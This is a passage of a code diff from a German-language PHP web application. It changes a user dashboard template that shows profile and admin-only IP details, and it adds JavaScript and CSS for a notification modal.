<code><?= htmlspecialchars($db_res[0]['HOME_IP']) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Nachname:</strong>
<code><?= htmlspecialchars($db_res[0]['NACHNAME']) ?></code>
</p>
<p style="margin: 5px 0;"><strong>E-Mail:</strong>
<code><?= htmlspecialchars($db_res[0]['EMAIL']) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Benutzerrolle:</strong>
<code><?= htmlspecialchars($db_res[0]['ROLLE']) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Home IP:</strong>
<code><?= htmlspecialchars($db_res[0]['HOME_IP']) ?></code>
</p>
<?php endif ?>
</div>
</div>
@@ -41,18 +59,18 @@ $db_res = DatabaseShow(
<div class="group-links"
style="padding: 10px; display: flex; flex-direction: row; gap: 10px; flex-wrap: wrap;">
<?php if ((new getSpecificData())->getIsAdmin()): ?>
<span
style="background: #dc3545; color: white; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Admin</span>
<span
style="background: #dc3545; color: white; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Admin</span>
<?php endif; ?>
<?php if ((new getSpecificData())->getIsSuperuser()): ?>
<span
style="background: #ffc107; color: #000; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Superuser</span>
<span
style="background: #ffc107; color: #000; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Superuser</span>
<?php endif; ?>
<?php if (!(new getSpecificData())->getIsSuperuser() && !(new getSpecificData())->getIsAdmin()): ?>
<span
style="background: #6c757d; color: white; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Standard-Nutzer</span>
<span
style="background: #6c757d; color: white; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Standard-Nutzer</span>
<?php endif; ?>
</div>
</div>
@@ -67,21 +85,21 @@ $db_res = DatabaseShow(
<code>Aktiv</code>
</p>
<?php if ($is_admin): ?>
<p style="margin: 5px 0;"><strong>Client IP:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getClientIP()) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Server IP:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getServerIP()) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Geo IP:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getGeoIP((new getSpecificData())->getClientIP())) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Database IP:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getDatabase()) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Wetter:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getWeather()['aktuell']) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Client IP:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getClientIP()) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Server IP:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getServerIP()) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Geo IP:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getGeoIP((new getSpecificData())->getClientIP())) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Database IP:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getDatabase()) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Wetter:</strong>
<code><?= htmlspecialchars((new getSpecificData())->getWeather()['aktuell']) ?></code>
</p>
<?php endif ?>
</div>
</div>
@@ -89,32 +107,55 @@ $db_res = DatabaseShow(
</div>
</div>
<script src="/js/ajaxApi/NotificationAjaxMethods.js"></script>
<script src="/js/AjaxMethods.js"></script>
<script>
document.addEventListener('DOMContentLoaded', () => {
const modal = document.getElementById('notificationModal');
const confirmBtn = document.getElementById('notificationConfirm');
if (!modal || !confirmBtn) return; // keine offene Nachricht vorhanden
confirmBtn.addEventListener('click', async () => {
const nachrichtId = modal.dataset.nachrichtId;
try {
await markNotificationAsSeen(nachrichtId);
modal.classList.remove('open');
setTimeout(() => modal.remove(), 200); // nach dem Fade-out entfernen
} catch (err) {
alert('Fehler beim Bestätigen: ' + err.message);
}
});
});
</script>
<style>
/* Zusätzliche Inline-Styles für die Feinabstimmung in der home_info */
.home-dashboard {
animation: fadeIn 0.5s ease-in-out;
}
code {
background: rgba(0, 0, 0, 0.1);
padding: 2px 5px;
border-radius: 4px;
font-family: monospace;
}
body.dark-mode code {
background: rgba(255, 255, 255, 0.1);
}
@keyframes fadeIn {
from {
opacity: 0;
transform: translateY(10px);
/* Zusätzliche Inline-Styles für die Feinabstimmung in der home_info */
.home-dashboard {
animation: fadeIn 0.5s ease-in-out;
}
to {
opacity: 1;
transform: translateY(0);
code {
background: rgba(0, 0, 0, 0.1);
padding: 2px 5px;
border-radius: 4px;
font-family: monospace;
}
body.dark-mode code {
background: rgba(255, 255, 255, 0.1);
}
@keyframes fadeIn {
from {
opacity: 0;
transform: translateY(10px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
}
</style>
+84
View File
@@ -1460,4 +1460,88 @@ body.dark-mode .autocomplete-suggestions div.active {
.register-form input {
margin-bottom: 0;
/* gap übernimmt jetzt den Abstand, kein doppeltes Spacing mehr */
}
/* ===== Benachrichtigungs-Modal ===== */
.notification-overlay {
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.6);
display: flex;
align-items: center;
justify-content: center;
z-index: 2000;
opacity: 0;
pointer-events: none;
transition: opacity 0.2s ease;
}
.notification-overlay.open {
opacity: 1;
pointer-events: auto;
}
.notification-box {
background-color: white;
border-radius: 10px;
border-top: 4px solid #007bff;
width: 420px;
max-width: 90%;
padding: 28px 32px;
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.25);
text-align: center;
transform: translateY(-10px);
transition: transform 0.2s ease;
}
.notification-overlay.open .notification-box {
transform: translateY(0);
}
body.dark-mode .notification-box {
background-color: #1a1a1a;
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.6);
}
.notification-box .notification-icon {
font-size: 2.2rem;
margin-bottom: 12px;
}
.notification-box h3 {
margin-top: 0;
margin-bottom: 12px;
font-size: 1.3rem;
}
body.dark-mode .notification-box h3 {
color: #f0f0f0;
}
.notification-box p {
margin-bottom: 24px;
line-height: 1.5;
color: #555;
white-space: pre-line;
}
body.dark-mode .notification-box p {
color: #ccc;
}
.notification-box button {
padding: 10px 28px;
border: none;
border-radius: 4px;
font-size: 1rem;
cursor: pointer;
background-color: #007bff;
color: white;
transition: background-color 0.2s ease;
}
.notification-box button:hover {
background-color: #0056b3;
}